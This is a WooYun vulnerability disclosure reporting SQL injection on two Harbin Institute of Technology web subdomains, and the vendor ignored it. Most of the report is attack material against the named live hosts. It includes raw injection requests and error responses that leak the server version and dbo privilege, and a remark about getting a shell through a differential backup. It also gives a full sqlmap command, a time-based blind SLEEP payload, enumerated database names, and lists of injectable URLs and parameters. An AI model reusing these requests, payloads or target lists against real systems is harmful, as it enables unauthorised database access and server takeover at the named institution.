当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0154978

漏洞标题：哈尔滨工业大学2站注入打包

相关厂商：哈尔滨工业大学

漏洞作者： 路人甲

提交时间：2015-11-23 11:47

修复时间：2015-11-28 11:48

公开时间：2015-11-28 11:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-23： 细节已通知厂商并且等待厂商处理中
2015-11-28： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

详细说明：

1、网站dmma.hit.edu.cn ，dbo 权限可以差异备份getshell

GET /module/module_front_detail.asp?id=@@version&s_id=162 HTTP/1.1
Referer: http://dmma.hit.edu.cn/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
X-Forwarded-For: 127.0.0.1
Host: 
Cookie: ASPSESSIONIDACRSDCDD=OFLFKPDDHPMGJKHOJHBIECCG
Accept-Encoding: gzip, deflate
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
 <font face="宋体" size=2>
<p>Microsoft OLE DB Provider for SQL Server</font> <font face="宋体" size=2>错误 '80040e07'</font>
<p>
<font face="宋体" size=2>将 nvarchar 值 'Microsoft SQL Server  2000 - 8.00.194 (Intel X86) 
	Aug  6 2000 00:57:48 
	Copyright (c) 1988-2000 Microsoft Corporation
	Enterprise Edition on Windows NT 5.2 (Build 3790: )
' 转换为数据类型为 int 的列时发生语法错误。</font>
<p>
<font face="宋体" size=2>/module/module_front_detail.asp</font><font face="宋体" size=2>，行 15</font> 
GET /module/module_front_detail.asp?id=user&s_id=162 HTTP/1.1
Referer: http://dmma.hit.edu.cn/
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
X-Forwarded-For: 127.0.0.1
Host: 
Cookie: ASPSESSIONIDACRSDCDD=OFLFKPDDHPMGJKHOJHBIECCG
Accept-Encoding: gzip, deflate
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
 <font face="宋体" size=2>
<p>Microsoft OLE DB Provider for SQL Server</font> <font face="宋体" size=2>错误 '80040e07'</font>
<p>
<font face="宋体" size=2>将 nvarchar 值 'dbo' 转换为数据类型为 int 的列时发生语法错误。</font>
<p>
<font face="宋体" size=2>/module/module_front_detail.asp</font><font face="宋体" size=2>，行 15</font>


以下参数均有注入
1.1. http://dmma.hit.edu.cn/announce/announce0.asp [id parameter]
1.2. http://dmma.hit.edu.cn/announce/announce0.asp [s_id parameter]
1.3. http://dmma.hit.edu.cn/front/search/search_deal.asp [sel parameter]
1.4. http://dmma.hit.edu.cn/module/module_front.asp [s_id parameter]
1.5. http://dmma.hit.edu.cn/module/module_front_detail.asp [id parameter]
1.6. http://dmma.hit.edu.cn/module/module_front_detail.asp [s_id parameter]
1.7. http://dmma.hit.edu.cn/news/news0.asp [id parameter]
1.8. http://dmma.hit.edu.cn/notice/notice0.asp [id parameter]
1.9. http://dmma.hit.edu.cn/notice/notice0.asp [s_id parameter]
1.10. http://dmma.hit.edu.cn/teacher/three.asp [id parameter]
2、网站pr-ai.hit.edu.cn 涉及 11个数据库

python sqlmap.py -r \r.txt  --random-agent --risk 3 -p passwd  --dbms=mysql  --batch --dbs --no-cast  --tec=T -v 3 --level 5  --suffix="-- '" --prefix="' " --threads=5
 
POST /enmpic/login_chk.php HTTP/1.1
Referer: http://pr-ai.hit.edu.cn/enmpic/login.html
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.78 Safari/532.5
Cache-Control: no-cache
Accept-Language: en-us,en;q=0.5
X-Forwarded-For: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Host: pr-ai.hit.edu.cn
Cookie: d000972a12662c4f0b3e529a2d630767=0e3bb3b624da493782afb0a880bf0184; aa41c342a634b3d92dc380c8f30c35c0=1; efffbef727e52d121769cd4946b0698c=1
Content-Length: 79
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
id=&passwd=&%ef%bf%bd%e1%bd%bb=login&%ef%bf%bd%ef%bf%bd%ef%bf%bd%ef%bf%bd=reset
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: passwd (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=&passwd='  AND (SELECT * FROM (SELECT(SLEEP(5)))kBIL)-- '&%ef%bf%bd%e1%bd%bb=login&%ef%bf%bd%ef%bf%bd%
%bf%bd%ef%bf%bd=reset
    Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
---
[13:51:50] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.15, Apache 2.4.10
back-end DBMS: MySQL >= 5.0.0
[13:51:50] [INFO] fetching database names
[13:51:50] [INFO] fetching number of databases
[13:51:50] [INFO] resumed: 11
[13:51:50] [DEBUG] performed 0 queries in 0.00 seconds
[13:51:50] [INFO] resumed: information_schema
[13:51:50] [DEBUG] performed 0 queries in 0.00 seconds
[13:51:50] [INFO] resumed: bitnami_joomla
[13:51:50] [DEBUG] performed 0 queries in 0.00 seconds
[13:51:50] [INFO] resumed: cdcol
[13:51:50] [DEBUG] performed 0 queries in 0.00 seconds
[13:51:50] [INFO] resumed: enmpic
[13:51:50] [DEBUG] performed 0 queries in 0.00 seconds
[13:51:50] [INFO] resumed: joomla
[13:51:50] [DEBUG] performed 0 queries in 0.00 seconds
[13:51:50] [INFO] resuming partial value: mpi
1.1. http://pr-ai.hit.edu.cn/enmpic/login_chk.php [id parameter]
1.2. http://pr-ai.hit.edu.cn/enmpic/login_chk.php [passwd parameter]
1.3. http://pr-ai.hit.edu.cn/mpic/login_chk.php [id parameter]
1.4. http://pr-ai.hit.edu.cn/mpic/login_chk.php [passwd parameter]
1.5. http://pr-ai.hit.edu.cn/mpic/reg_chk.php [id parameter]
1.6. http://pr-ai.hit.edu.cn/mpic/reg_chk.php [passwd parameter]


漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2015-11-28 11:48

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无